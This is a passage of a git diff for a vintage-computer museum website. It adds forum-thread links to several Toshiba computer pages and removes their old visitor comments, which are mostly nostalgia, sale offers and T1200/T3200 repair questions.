programs, so I wrote them down and tried my best to keep from powering it off. To this day, I still have the console and somewhere, the manual. I thought about ripping out the CPU to use in another project, but I think after seeing this website, they are kinda rare and I''ll leave it intact. Dunno if it still powers on though... :-) related: - /museum/tomy-tutor-mk-ii oc_id: 337 diff --git a/content/museum/tonel-pc.md b/content/museum/tonel-pc.md index 5f96e708..c826ec20 100644 --- a/content/museum/tonel-pc.md +++ b/content/museum/tonel-pc.md @@ -62,6 +62,7 @@ params: - emulators - links - docs + forum_thread: 1237 photos: - title: TONEL PC subtitle: '' diff --git a/content/museum/toshiba-hx-10-pasopia-iq.md b/content/museum/toshiba-hx-10-pasopia-iq.md index f4d0e7e5..54913d09 100644 --- a/content/museum/toshiba-hx-10-pasopia-iq.md +++ b/content/museum/toshiba-hx-10-pasopia-iq.md @@ -84,6 +84,7 @@ params: - hardware - emulators - links + forum_thread: 434 photos: - title: LARGE VIEW subtitle: '' @@ -307,29 +308,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Noobsaibot73 (Spain) - date: Sunday 29th April 2012 - text: This MSX computer is also known as "The CPC MSX" because its keyboard has the same colors in its keys as the CPC has (red, blue, green and black). - - author: A. T. (Finland) - date: Saturday 11th September 2010 - text: This model was my first experience with MSX. My father bought it in 1985. When I was three, I tried to play Shark Hunter with it, but I really couldn''t. I also thought that the BASIC-compiler was a word-processor. My father used to produce digital music with it, but he didn''t bother to save his work to cassettes every evening and mostly the computer was turned on overnight. In 1990 overheating had damaged the computer''s motherboard and service couldn''t repair it anymore. I give minus to it''s integrated power supply, but otherwise it was a good computer. - - author: Bascule (Brighton, UK) - date: Monday 16th April 2007 - text: Blimey - I loved my HX-10 when I was a kid. Was a quantum leap upgarde from my 1K ZX81! Had tape games (Level 9 adventures, mostly) and a couple of carts (Konami Time Pilot, for one). The UK ad campaign included the anoyying wireframe bloke ("Allo Tosh, got a Toshiba?") who seemed sooo cool at the time. Came with a free tape game based on the wireframe bloke - no idea what you had to do, just collected stuff. MSX basic was easy, as was creating sprites. Swore I would be a programmer. Left school '86, didn't program a thing until about 2002... - - author: Matthew Thomas (England) - date: Tuesday 6th August 2002 - text: |- - I recently found a HX-10 while clearing out a loft. I attached it to my television and started it up. Unfortunately, I couldn't find a tape recorder so I just thought I would have a look at what is there, without any game attached. Basically, what I found is an MSX Basic interpreter which spits out neccessary output from your programs according to what you write. For example: - - print "hello world" - - gets the obvious output of: - - hello world\ - Ok - - However, it is somewhat annoying not being able to save any programs, and finding anything helpful to do with MSX Basic has proven to be an arduous task. Nonetheless, this is a cool retro machine. Enjoy it. related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/toshiba-hx-20-hx-21-pasopia-iq.md b/content/museum/toshiba-hx-20-hx-21-pasopia-iq.md index 50e11ffc..19327c6c 100644 --- a/content/museum/toshiba-hx-20-hx-21-pasopia-iq.md +++ b/content/museum/toshiba-hx-20-hx-21-pasopia-iq.md @@ -75,6 +75,7 @@ params: - emulators - links - videos + forum_thread: 570 photos: - title: HX-20 subtitle: '' @@ -259,13 +260,6 @@ params: - title: Pasopia IQ japanese TV commercial url: https://www.youtube.com/watch?v=jkE84OGPX9A text: 'Length: 12 s' - comments: - - author: Francis Groves (UK) - date: Tuesday 24th February 2015 - text: This was the first computer we owned, I was 13 and the whole family had some great times on it. I loved the ROM cartridges which would play as soon as you plugged them in so no waiting for the game to load! A great computer with a great, sturdy keyboard. - - author: brocheton (FRANCE) - date: Monday 30th July 2012 - text: je suis en possession d''un appareil Toshiba HX21 et je désire en connaitre la valeur pour le vendre ou le donner related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/toshiba-hx-52.md b/content/museum/toshiba-hx-52.md index f672213b..aac61211 100644 --- a/content/museum/toshiba-hx-52.md +++ b/content/museum/toshiba-hx-52.md @@ -69,6 +69,7 @@ params: - hardware - emulators - links + forum_thread: 1029 photos: - title: LARGE VIEW subtitle: '' @@ -226,13 +227,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/toshiba-pasopia-16-t300-pap.md b/content/museum/toshiba-pasopia-16-t300-pap.md index a38b00a0..051e7476 100644 --- a/content/museum/toshiba-pasopia-16-t300-pap.md +++ b/content/museum/toshiba-pasopia-16-t300-pap.md @@ -74,6 +74,7 @@ params: tabs: - photos - adverts + forum_thread: 411 photos: - title: TOSHIBA T300 subtitle: '' @@ -92,19 +93,6 @@ params: subtitle: '' text: '"The Empire Strikes Back"' image: /media/museum/pubs/toshiba_t300_french-pub_1.jpg - comments: - - author: Craig D Amey (United States) - date: Wednesday 4th May 2022 - text: I had one around 1984. Twin 720K floppy drives (half height). 256 color with a 12" green monitor and 14" color. 6MHz 8088 processor. They used the image of a butterfly (256 color GIF image) a lot in their promotional material and trade floor displays. For the time it was an impressive machine. Very well engineered. - - author: SUNIL VIDHANI (UK) - date: Tuesday 13rd June 2017 - text: We are looking for a Toshiba T300 Pasopia 16 computer. Can you help ? - - author: Cas (USA) - date: Monday 17th October 2016 - text: Picked up the US version of this recently for a dollar, 10MB external HDD, 5.25 96tpi DD x 2, and a green monochrome monitor. apparently uses a proprietary version of MS-DOS 2.x specifically tailored to this machine. Wish I had a copy. - - author: toto (france) - date: Wednesday 18th February 2015 - text: 'I had one "le pap". It was my 1st PC. using MS-DOS 2.3. My screen was a 8 shades of green (not 50 of grey)80\*25. UC was very heavy: at least 15Kg. it''''s keyboard was noisy but robust. The HDD was ooo then I Had to use 5.25 Disk-drive (360Ko for system+apps )' oc_id: 414 source: url: https://web.archive.org/web/20230608081102/http://www.old-computers.com/museum/computer.asp?c=414 diff --git a/content/museum/toshiba-pasopia-7.md b/content/museum/toshiba-pasopia-7.md index 9f751a60..93e1b8f7 100644 --- a/content/museum/toshiba-pasopia-7.md +++ b/content/museum/toshiba-pasopia-7.md @@ -57,6 +57,7 @@ params: tabs: - photos - adverts + forum_thread: 410 photos: - title: RED PASOPIA 7 subtitle: '' diff --git a/content/museum/toshiba-pasopia.md b/content/museum/toshiba-pasopia.md index c3143451..ed48cfed 100644 --- a/content/museum/toshiba-pasopia.md +++ b/content/museum/toshiba-pasopia.md @@ -63,6 +63,7 @@ params: tabs: - adverts - links + forum_thread: 409 adverts: - title: JAPANESE ADVERT subtitle: '' @@ -72,10 +73,6 @@ params: - title: S. Kato's Museum url: http://member.nifty.ne.jp/s-kato/pasopia.html text: Has a Pasopia detailed page (Japanese) - comments: - - author: Boris Kretzinger (Germany) - date: Wednesday 11th January 2017 - text: There is also a Pasopia PA7007 model, which comes with T-BASIC and differs from the picture shown above. oc_id: 412 source: url: https://web.archive.org/web/20230608080821/http://www.old-computers.com/museum/computer.asp?c=412 diff --git a/content/museum/toshiba-t-100.md b/content/museum/toshiba-t-100.md index ef9a9704..da3d6219 100644 --- a/content/museum/toshiba-t-100.md +++ b/content/museum/toshiba-t-100.md @@ -56,26 +56,12 @@ params: value: PSU built-in tabs: - adverts + forum_thread: 241 adverts: - title: UK ADVERT, OCT 1983 subtitle: '' text: '' image: /media/museum/pubs/toshiba_t100_pub_s1.jpg - comments: - - author: Mark (Australia) - date: Sunday 30th May 2021 - text: The T100 actually has 8 colours in 320x200. Also the colour monitor, although having a propriety connector is compatible with a standard CGA - minus the intensity pin. Back in the 80''s I had no trouble converting the Toshiba monitor for a pc/XT. Can''t imagine why the opposite isn''t true. - - author: Mark (Australia) - date: Sunday 30th May 2021 - text: In case anyone out there is interested, I have the technical reference manual for the T100 which I''m happy to scan to a pdf if anyone is interested. Also I''m looking for a copy of the T-basic reference manual if anyone has a copy. Thankyou in advance. MSPWPGS at Gmail dot con. - - author: Craig (Vancouver, BC, Canada) - date: Monday 6th October 2014 - text: |- - I''ve got a complete Toshiba T100 setup with the Dual Disk Drive and Monochrome Monitor and probably documentation. If anyone would like all this for their museum or whatever, I''d be happy for it to find a good home. - - It''s even got a custom high-speed RS-232 interface card that I made that is mounted in the memory expansion port slot. - - cscratchley (at) gmail (dot) com oc_id: 231 source: url: https://web.archive.org/web/20230608080210/http://www.old-computers.com/museum/computer.asp?c=231 diff --git a/content/museum/toshiba-t-1200.md b/content/museum/toshiba-t-1200.md index 861c2dd5..544d3d5d 100644 --- a/content/museum/toshiba-t-1200.md +++ b/content/museum/toshiba-t-1200.md @@ -72,6 +72,7 @@ params: - photos - adverts - links + forum_thread: 894 photos: - title: T1000 subtitle: '' @@ -119,526 +120,6 @@ params: - title: T-Series official page (from Toshiba website) url: http://www.toshiba-europe.com/computers/products/notebooks/t1000/index.shtm text: All you need to know about this classic Toshiba notebook series - comments: - - author: Ted Black (United Kingdom) - date: Saturday 20th February 2021 - text: Hi Kelly, is your T1200 still for sale? - - author: Kelly (UK) - date: Friday 12th February 2021 - text: Hello I''ve got a working Toshiba T 1200 laptop which I want to sell. Please can you tell me how to reset it to factory settings? - - author: Zer (Ro) - date: Wednesday 6th January 2021 - text: Regarding the loop... try PC-DOS.... or MS-DOS 6.22 loads of images on archive.org or winworld .... I have T3100e and managed to install PC-DOS 7.1 and 4GB (YES GB) Seagate Hard disk (with ontrack- I think also can do fat32) . Check battery also , these old machines are fussy with bad battery. - - author: Bob (Nederland) - date: Sunday 3rd January 2021 - text: I think i have an issue with an Toshina T1200. when power is attached an the little power switch on the back is off. the Lcd backlight comes on when i open the display. the computer does not boot but the backlight is on. as soon as i turn the little switch on the back on the coputer will boot normally. is the backlight suppose to be on when the power switch is off? and if not any ideas on where the problem might be? Thanks in advance, Bob - - author: Franck (UK) - date: Saturday 26th December 2020 - text: 'Hi, I need your help I bought a vintage Toshiba T1200 I have an issue during the boot : "Toshiba personnal computer MS -DOS version 3.30" endless loop ! If someone has an idea ? I need an image disk copy of the boot disk Thank you' - - author: mifritscher (Germany) - date: Friday 23rd October 2020 - text: I''m searching 1-2 memory expansion boards for the T1600 - does anybody still have these? I would also take a complete T1600 $) - - author: retrobuddy - date: Thursday 27th June 2019 - text: Thankyou RetroComputerFan for the files. - - author: OldDream (italia) - date: Friday 6th October 2017 - text: 'Hi everyone I sell a toshiba t3200 perfectly working. Contact me at this mail: pianomagic0@hotmail.it for your offers.' - - author: Lynn (Hilton, NY) - date: Wednesday 16th August 2017 - text: Want to find a replacement battery for a Toshiba laptop T1200XE System Unit. Have been told that the part number is PA8712U but may be as obselete as the laptop itself so would appreciate any info or part $ for a replacement battery that would work. - - author: RetroComputerFan (Germany) - date: Sunday 30th July 2017 - text: |- - I have an Toshiba T1100 Plus and an T1200. Both are working fine. I''ve replaced the battery in the T1100 Plus with a new one. The battery of the T1200 is a bit weak and lasts only for a few minutes. - - I do have the original System Disk for the T1100 Plus (wich ofcourse would also work on the T1200) and the T1200 has the operating system on its 20 MB hard disk drive. - - So, if someone needs that disk you can download it from my webpage with this link: - - http://beyercomputers.com/files/download/dos/DOS32tosh1100p.rar - - author: James Tomlinson (United States) - date: Thursday 4th May 2017 - text: I bought the 1200HB in the summer of 1988. The backlit screens were on backorder at the time. One of my buddies with the dual floppy T1200 thought I was crazy to have the hard-disk. This laptop worked great for me as I started up power plants in India, Pakistan, Caribbean. GE didn''t supply laptops for field engineers at the time. It worked great for me for 3 years. My only gripe was the 9600 baud speed limit on the serial port. I installed a combo board which gave me 2MB RAM and the 1200 Baud modem. I still have it and every once in a while boot it up. I upgraded it to MS-DOS 6.2, which was difficult since it was only available on 1.44MB disks. - - author: Pippo (Cagliari) - date: Wednesday 26th October 2016 - text: I Found my old T1200 purchased in ''88. Still functioning mounts windows 2.0. Battery is completely dead. I have to turn it on fiddling a bit with the two switches behind it - - author: Harry (United States) - date: Saturday 29th August 2015 - text: Found my old Toshiba T1200 in a closet. Not turned on for 10+ years. It want to see a system disk, which I no longer have. Can anyone help? - - author: Harry - date: Saturday 29th August 2015 - text: Toshiba T1200. Need a system disk to boot it. Can anybody help - - author: Richard Vermeulen (The Netherlands) - date: Sunday 14th September 2014 - text: Hoi Jac Senior, ik lees zojuist pas je vraag. een beetje laat, maar evengoed. Af en toe staan er Toshiba T3100/T3200 en T5100/T5200 op marktplaats. Gewoon marktplaats in de gaten houden. Ik dacht eerst dat het zelfdzame machines waren, maar dat blijkt wel mee te vallen. Gemiddeld staat er elke week wel een op marktplaats dus. Ik weet niet of je ondertussen al voorzien bent. - - author: Filippo (Italy) - date: Saturday 11th January 2014 - text: |- - Hi you all! I have a Toshiba T3200SXC with original leather suitecase.\ - If anyone is interested please mail an offer pippetto@gmail.com - - author: Pascal (Netherlands) - date: Saturday 11th January 2014 - text: |- - I have a Toshiba T1200. Modelrnr:PA7044E White. Its for sale. please give me a serious offer by mail. - - I also have a IBM Portable 5155 for anyone who is interested. Very nice vintage portable computer. - - author: Sergio (Italia) - date: Tuesday 3rd December 2013 - text: |- - Hi there,\ - I have a Toshiba T1600 (black$white) in very good condition, if someone is interested please $ me a call/mail with an offer :-) - - cheers Sergio - - author: Jac Senior - date: Saturday 30th November 2013 - text: Hallo Richard, kan jij mij mailen waar ik iets dergelijks kan kopen? Ik kan niets vinden op internet. Dank. - - author: Jac Senior (Nederland) - date: Thursday 28th November 2013 - text: |- - Jac Senior The Netherlands. - - Is there someone who has a Toshiba T3200 or a\ - T3100 for sale for me. Like to quote price to\ - ((thethirdly@gmail.com)). - - author: Richard Vermeulen (The Netherlands) - date: Monday 11th November 2013 - text: |- - 6 months ago, I bought a T3100e (20mB harddrive), a T3100e/40 (40MB version), a nice T3200SX and the flagship the T5200/100. All had the CMOS battery problem. I replaced the original CMOS/BIOS batteries with ordinary CR2032 batteries. (wrapped inside plastic tape). Since then all date/time AND boot-problems are fixed. - - I am now working with these Toshiba machines since a couple of months and have these questions: - - 1 - Does anybody know the videochip of the T3100e/40 (I know its CGA but it also has the rare 640x400 resolution as the AT$T 6300)\ - 2 - I have many spare parts from other laptops like Compaq/Toshiba and IBM. Does somebody know a compatible diskdrive for these machines ? - - author: rob - date: Saturday 8th June 2013 - text: i can buy one for .50 cents us money should i? - - author: Peter (Lithuania) - date: Saturday 10th November 2012 - text: |- - I have T1200 also. Do hope to use it for an interesting project and searching for files from the "Diagnostic and Supplemental" diskette!\ - Anybody has them? - - Peter - - author: Roy Birley (London, UK) - date: Tuesday 2nd October 2012 - text: |- - I have a 1988 Toshiba T3200 for sale. It is in very good condition and comes in its original soft case. - - Any offers to birl30@live.co.uk - - Thank - - author: Joseph (Australia) - date: Tuesday 2nd October 2012 - text: I have a T1200. I think the BIOS has gone, because it does not boot at all. Anybody knows how to reset BIOS? - - author: Rafa (Spain) - date: Friday 4th May 2012 - text: Plis share the disketes - - author: James Taggart (Ottawa, Canada) - date: Wednesday 18th April 2012 - text: |- - I Have a T1200 Too - - I have The DOS diskette, The Diagnostic and Supplemental diskette and the original power adapter and manual. Still runs great although the battery only lasts a couple of minutes.\ - Great Machine still. - - James - - author: JohnI (usa) - date: Thursday 23rd February 2012 - text: I have a functional Toshiba T1200 with power supply for sale. Please make offer to donzi2300@hotmail.com - - author: Antoha-spb (Russia) - date: Tuesday 10th January 2012 - text: I purchased T1200XE on the ebay and tried to turn it on, but the laptop doesn''t start. As I connect the power supply (3d party, but with matching voltage and current) red LED flashes and when I press ON button all other LEDs just flash for a moment. Below there were suggestions about RTC and RESUME battery replacement. Will try that.... - - author: e.Pietersma (Nederland) - date: Monday 2nd January 2012 - text: Ik heb een goed werkend Toshiba T1200 Laptop te koop met alle toebehoren en printer. Wie bied er!! - - author: martijn van oost (spain) - date: Sunday 1st January 2012 - text: I got a Toshiba T3200 to sell it''s fully fuctioned who''s intrested in it may give a bid by e-mail gewoontijn@hotmail.nl - - author: Fawnet (USA) - date: Friday 9th December 2011 - text: |- - I bought one of these too, but a lot later than you did$I think in 1996? My workplace was selling off unused equipment, and I picked it up for $100. I loved that little thing, and I''m not exaggerating when I say it put me on the road to becoming a good computer user. I was in my late twenties, but I hadr understood computers, and didn''t think that I ever would, either. But this machine was so neat, compact and inviting that I began to like using it, and started learning how to really make use of it. I got into DOS, and BBSes, and games, too$man, I played so much Kingdom of Kroz on that thing!\ - And now that you mention it, I remember the resume feature, too, and wishing that my work computer (a 386) had something like that. Mine had the 20 MB hard drive, too. Wooooo,fancy, right? :D Anyway, it was a lovely device. I think it''s still in a box somewhere, I don''t have the heart to toss it out. - - author: kerrie ayers (Birmingham, UK) - date: Sunday 9th October 2011 - text: Hi there i have a fully working Toshiba T2130CS laptop and was wondering if anyone knows of any UK collectors? My email is kerrie677@hotmail.com if anyone can help with my enquiry. Thanks - - author: Ken Trivitt (Tucson, Az/USA) - date: Friday 6th May 2011 - text: I am looking to purchase 5-10 Toshiba T2130CS/520, P/N PA1196U-S2W. Please let me know what you have or if you know a place I can purchase these from. Thank you! - - author: Allen Bishop (USA) - date: Monday 4th April 2011 - text: My email address is allen.bishop@aeroflex.com if someone has a working T3200 80286 for sale. - - author: Allen Bishop (USA) - date: Monday 4th April 2011 - text: |- - I am looking for a Toshiba T3200 80286 laptop that is working. The gas plasma display is not needed to be in good condition because I can connect an external monitor. Does anyone have one for sale?\ - Thanks, Allen - - author: ColonelRiley (Germany) - date: Friday 20th August 2010 - text: |- - @ andax - - wie lautet deine email-adresse?\ - how is your email adress? - - gruß / regards Stephan - - author: andax (Switzerland) - date: Friday 20th August 2010 - text: I have a box of spare parts from a decomposed wreck of a T3100e/40. I found use for the HD and maybe reassemble the Screen as standalone CGA-Flatscreen at some rainy days but would give it away if someone needs it urgently. If someone needs these or other T3100e/40 parts, please dont hesitate to contact me via email, as i could not guarantee how long i keep these parts and would dispose them. For example, the floppy drive (very loud...) is in working condition, has a smaller connector than todays floppy drives. Maybe it fits into the T1200 too. - - author: Emmanuel Paris (México) - date: Tuesday 27th July 2010 - text: hi i have one of these computer t1200 if i want sold it how much can i request?? coul you help me? these even work and his baterie still can keep charch i have some programs and the original disk these is an inheritance from dad i hope you can help me bye - - author: Joe (USA) - date: Thursday 13rd May 2010 - text: My Toshiba T1200HB was working great up to last night $ The green power light goes to flashing red when the power is switched on $ the screen blips for a second, then nothing. I assume that the battery has been dead for many years. Does anyone know the meaning of the red flashing light? Is the battery required for AC adapter operation? There''s no difference in bahavior with the battery removed. - - author: Masivi (España) - date: Thursday 8th April 2010 - text: |- - Help please!!!! I need to access my Toshiba T1200XE BIOS and I don''t know how!!! The F1 key pressing during start up doesn''t work!!! - - Helpppppppp!!!! - - author: Mr X - date: Tuesday 16th March 2010 - text: |- - The information from Mal is spot-on. - - The keyboard was EXCELLENT, I have an IBM Model M now, but the T1200 had a much smoother, lighter stroke. I guess Cherry makes different switches, but those boards are $100+ and my M was only $30. - - author: timerider (usa) - date: Tuesday 3rd November 2009 - text: |- - I have a tosh 3100-40. is it posisble to change the red plasma display to maybe green or amber???\ - I can''t stand looking at red!\ - I installed 6.22 and win 3.0 but hard for me to look at the screen and some info is not visable like shadeing to highlite certain points.\ - I wish i had picked up the old apple one''s i used to see in thrift stores years ago and some of the IBMs too.\ - The old comadores are fetching good prices on the web too! - - author: Joel (USA) - date: Monday 5th October 2009 - text: I have a T3200 and it has a problem with the floppy drive "Not ready reading drive A". I tried the A/B switch on the back, must be a bad floppy drive. Anyone have an extra internal floppy or parallel port floppy drive? - - author: Daniel Garland (New Zealand) - date: Wednesday 29th April 2009 - text: Re Call Me Leaha - What is your model of laptop, and what is wrong with it? - - author: Daniel Garland (New Zealand) - date: Wednesday 29th April 2009 - text: Re the T3200 - I have one, and have put a 16-bit ISA SVGA card in it and run an external monitor off it with no trouble, no drivers were necessary. I tried the same with an 8-bit ISA VGA card but was less successful, can''t quite remember what happened but I don''t think it wanted to boot fully with that card in. - - author: call me leaha - date: Friday 20th February 2009 - text: |- - I NEED TO FIX THIS TOSHIBA LAPTOP BUT I DONT KNOW HOW I KNOW MOST PEOPLE WONT EATHER CUZ THIS LAPTOP IS FROM THE 1990''S IF U KNOW HOW PLZZZZ REPLY - - ILY!! - - author: Hans (Germany) - date: Friday 21st November 2008 - text: |- - I have two T1200XE. Did charge internal 6V Batt.\ - Self test works until RAM test, after that cusor is blinking, Hard disk makes little normal noice but nothing, after while it wants system disk, I have such (if you need let me know) but system does not recognize ... any clue? - - author: Robert (UNITED STATES) - date: Monday 30th June 2008 - text: I'm looking for EPROM images for the Toshiba T3100-- I believe there are four EPROMs in the T3100. Any help? - - author: JS (USA) - date: Saturday 21st June 2008 - text: By the way, what are people using the T1200 for today? Would it be fun for a 11 yr old to try to get it up and running again? Are there any fun or otherwise interesting programs for a 11 yr old to play with on there? What power source would it need, as i would have to get another battery I guess, and another power supply cord. Are those cords still out there? Thanks!! Also, let me know if you want this machine!! :) - - author: JS (USA) - date: Saturday 21st June 2008 - text: I have a T1200, no power source, no programs, but it otherwise looks to be in good condition. Anyone need it, want it? Does it have a price value? Hate to toss it to goodwill, and I figured you collectors might want to work on it, so let me know. - - author: Rick (Texas) - date: Sunday 1st June 2008 - text: Does anyone know if I can put a video card (16 bit) in my T3200 and run it on my desktop monitor? If you have tried it let me know if you had any problems. My plasma appears to be fading into history. - - author: salawati (Malaysia) - date: Monday 21st January 2008 - text: |- - hello.. - - I'm also have problem same with Vincenzo (Italy) with his message about Toshiba portege 3440ct. My Machine cannot function and display message "BIOS is damage!, call your serviceman", and inquire the serviceman to place a maintenance disk in drive. - - Can I get that maintenace disk also :) - - author: William (Sydney) - date: Friday 18th January 2008 - text: Need help-Orange Flashing light appears when i connect power. - - author: Payphone Ed (Undisclosed) - date: Wednesday 12th December 2007 - text: Contrary to the addition, the T1200 does NOT have DOS in ROM. I have a T1200 in my collection, and can confirm without a doubt that it does not have anything in ROM besides the BIOS. There isn't even an NVRAM configuration utility, it's provided as a DOS program instead. - - author: Kalyan (United Kingdom) - date: Wednesday 17th October 2007 - text: I have a T3100e in working condition with all the boot disks and MS-DOS manuals that came with it (and the original case!). I fired it up a year ago and it was still working, though the battery was quite weak. Sitting in my attic - nw reasonable offer refused!! - - author: Henry Tohnain (Cameroon) - date: Monday 8th October 2007 - text: I bought a second_hand portable T3100e I really loved it but got a problem in using it, the operating system was missing, our technicians know nothing about this old valuable equipment. please can i get some information if any in putting it on? Thanks for your help - - author: eyedropper (london) - date: Friday 21st September 2007 - text: |- - I've an T3200 with case and manuals to sell if anyone's interested. It works, but the PRAM battery is flat so it thinks it's 1970. - - Get in touch via Flickr or email. All offers considered. - - author: eyedropper (london) - date: Friday 21st September 2007 - text: |- - I've an T3200 with case and manuals to sell if anyone's interested. It works, but the PRAM battery is flat so it thinks it's 1970. - - Get in touch via Flickr or email. All offers considered. - - author: David Hatton (England) - date: Tuesday 7th August 2007 - text: |- - Paul (canada) one way to get that drive back up and running is to remove it from the tosh and set it up on another computer and then just install ms-dos 5 from there. Once done just re-install it back into your tosh. - - Rob(Netherlands) as long as the d: partition was not created with partition magic and you can boot from a floppy. You can either remove the hard drive and attach it to another pc and try and access the data that way or boot from a floppy that has fdisk on it. rn fdisk first of all to make sure the HDD can be found. If ok then exist fdisk and run FDISK /MBR it's a hidden option on the fdisk command that rebuilds the master boot record. - - I woul stress that attachin g the drive to another pc as a slave would be my first choice doesn't matter what version of windows it is it should detect the drive. Also check the bios on the pc to see if the slave drive is detectable. If not then it's a professional data recovery services job t get that info. - - By the way FDISK /MBR will destroy any extra partitions setup by partition magic. - - author: Tichwin (Netherlands) - date: Tuesday 31st July 2007 - text: 'I have several vintage laptops: Toshiba T1000, Toshiba T1200 and Toshiba T1600. All have the same problem: although connected to their original AC adapter, the batteries do not load, and power fails directly when power button is pushed, leaving behind a red flashing LED. I remember having seen message RESUME BATTERY LOW the days before the problem occured. These batteries (RTC and Resume) are quite expensive. Has anybody tried to make such batteries by using AA-cells? Same voltage (2,4 V or 3,6 V) and a lot of mA/h compared to the original batteries. Do I risk to damage the motherboard? And: I''ve been told also to unsolder the condensators on the powerboard and replace them. Has anybody tried this with success?' - - author: ari (ISRAEL) - date: Monday 2nd July 2007 - text: 'my email: apinkas@012.net.il' - - author: ari (ISRAEL) - date: Monday 2nd July 2007 - text: I bought an old thoshiba portege 3400ct .I need it for windows 98 se.the problem is I can't find the driver of the plopy disk TOSHIBA MODEL NO. PA2940U for windows 98se. somebody can help? - - author: rob (netherlands) - date: Monday 25th June 2007 - text: |- - looking for an mbr (master boot record) for a t3100e/40\ - the 40 Mb is divided in c: and d:, 20 Mb each.\ - the hd is not accessible now as is 'is not found', as i have data on it i would like to restore the before situation. - - have software here to copy and to restore an mbr... - - can any owner help?\ - tx\ - rob - - author: Paul Williams (Canada) - date: Friday 8th June 2007 - text: I bought a T5100 today, it told me I only had 1.5M of HD space so after deciding I didn't really need what was on the 40Mb Drive (such as Windows 3.0) and WP 5.0 I decided to format the drive- no problem, right? Well now for some reason using a floppy boot disk w/ Ms-Dos on it only gives me an error "NON SYSTEM DiSK.. or "PROBLEM WITH DISK INSERT STARTUP DISK... etc. etc." Any ideas as to a solution. By the way I even have TOSHIBA's MS-Dos 5.0 system disks, and it doesn't want to boot from them either.... - - author: Martyn C Talbot-Sykes (Blackpool, United Kingdom) - date: Thursday 24th May 2007 - text: I recently bought an old Toshiba T2130CS laptop PC to run old programms on, any body out there got the manual?. Martyn - - author: David Hatton (England) - date: Tuesday 15th May 2007 - text: |- - The T3100 originally was supplied with MS-DOS 2.11 not 3 as in the main article. Although it was a Tosh modified version.\ - Unusual because 2.11 is not meant to support 3. inch floppies. Being a 286 you would have thought it would support 1.44 flops but it don't. Fortunately I have a box of old 720K (DS/DD) that format ok and can easily be read by my main pc. - - By the way my T3100 is US spec version (with the psu set to 240volts) it is complete with dos disk, both tosh dos and user manuals and it's original soft carry case. The only thing it needs is a new lithium battery. These you can still buy!! - - It was purchased when released in 1986 and was used until 1999. - - If anyone wants to know what those dip switches do at the back then let me know. - - author: Sebastian (Austria) - date: Tuesday 13rd March 2007 - text: |- - Hi guys i found an Thoshiba Laptop today it's a T3200 and it works!\ - Now I'm wondering what a collector would pay for that Laptop ???? - - author: Mike (Norway) - date: Sunday 11th March 2007 - text: |- - Well now im in trouble, the 1.44 has stopped working, its behaving like a 5.25" It tells me to close the door basically, and it sounds odd, i think i need to enter the bios of the T3200... Though no combination seem to work, "F1, F2, Fn, ctrl+alt+f10" The bios would be the easy solution, everything down to the bios battery is made by Toshiba there's not a single standard piece of cabling, wiring or component in there. The floppy has a strange smaller than normal connector, missing four pins from a normal one as far as i could tell, and no 4 pin power plug either. But the floppy drive might be the problem i think, any help at all would be greatly appreciated. - - -Mike - - author: D.C.S. (New York) - date: Monday 12th February 2007 - text: |- - I have a similar problem with a Toshiba Setellite Pro 405CS - - \*\*\*\* Bad check sum (CMOS) \*\*\*\*\ - Check system. Then press \[F1\] key - - this occurs shortly after powering up, and is the first thing that comes on screen - - any ideas? - - thanks - - author: Erikas (Lithuania) - date: Saturday 27th January 2007 - text: Hi , i have the t1200 and it works good . But it don't have the OS . that OS can work on this laptop ? if somebody has the OS for this laptop pleeae email me . Thanks . - - author: el mariachi (Portugal) - date: Monday 25th December 2006 - text: I have a T2130CS and i want to install a linux distro in it but since it doesnt have a cd drive i want to remove the hdd to install it directly. How do i disassemble the laptop? i already removed all the screws at the bottom of it but the cover wont come out is there soimething missing? - - author: Marc D. Williams (Rosemead, CA) - date: Tuesday 28th November 2006 - text: |- - I work at an outdoor swap meet and people discard all kinds of things. Last week I came across two Toshiba laptops, a T1200 and T1600. They seem in nigh perfect condition but no power adapters.\ - Seeing as how I just started working on trying different DOSes on an old Dell this find was timed just right. - - author: Nils (Sweden) - date: Tuesday 14th November 2006 - text: 'For the record: I''ve been searching the net for info on the T3200 since I aquired one from my work. I had to get into BIOS to see if I could make any changes because of some of the CMOS errors listed in this thread, but I couldn''t find any on that model. So after trying all kinds of key combinations I found that CTRL+ALT+F10 worked (at least on my comp).' - - author: Deelerium (Alhambra/Pasadena USA) - date: Thursday 2nd November 2006 - text: just found a Toshiba T3100/20 beside a garbage bin. So i decided to take a closer look into this componant. Plugged the power and was curious to see if it would turn on and start up.. And wow boom! expecting major problems and abnormal performances, suprise!! no hesitation and not even a sound of struggle.. Bright orange vintage looking display that just grabbed my attension to it even more for some odd reason... After surfing the net for a little bit more information and backround on this machine, the more i am becomming intrigged by this thing.. Just knowing that this T3100 is one of the first "laptop" that has been manufactured. This old looking thing is a part of computer history.. IM keeping it man... - - author: Diego (Argentina) - date: Monday 23rd October 2006 - text: |- - hi i have this computer. i buy this a few days ago with out the ac adapter, but i use an external power supply that bring the same volt. the batery is dead and i don\`t use it.\ - when i power up the machine a red led blink and the power grenn led start, but then stop, the display do the same.\ - i don\`t know what to do, if somebody know please email me.\ - Thanks from argentina. - - author: Daniel Garland (New Zealand) - date: Thursday 28th September 2006 - text: |- - No, No, No! A T3200SXC is NOT THE SAME as a standard T3200 (unsure about the T3200SX though), and they wont open the same - you risk doing damage to it if you follow that SXC guide. And a T3100 is different from a T3200 in how it opens, its all quite crazy as each individual model appears to have proprietary components that are model specific. Its a pain when you happen to be an owner of one, as I am... - - Still looking for another T3200 for myself, and I just stumbled upon a website where a guy has 3 of them, all looking to be in good nick... some people have all the luck :-( - - author: Zlork (Belgium) - date: Monday 25th September 2006 - text: |- - Mike, take a look at\ - http://www.ailis.de/\~k/docs/t3200sxc/howtoopen/\ - Maybe there's your answer... - - author: Mike (Norway) - date: Friday 22nd September 2006 - text: 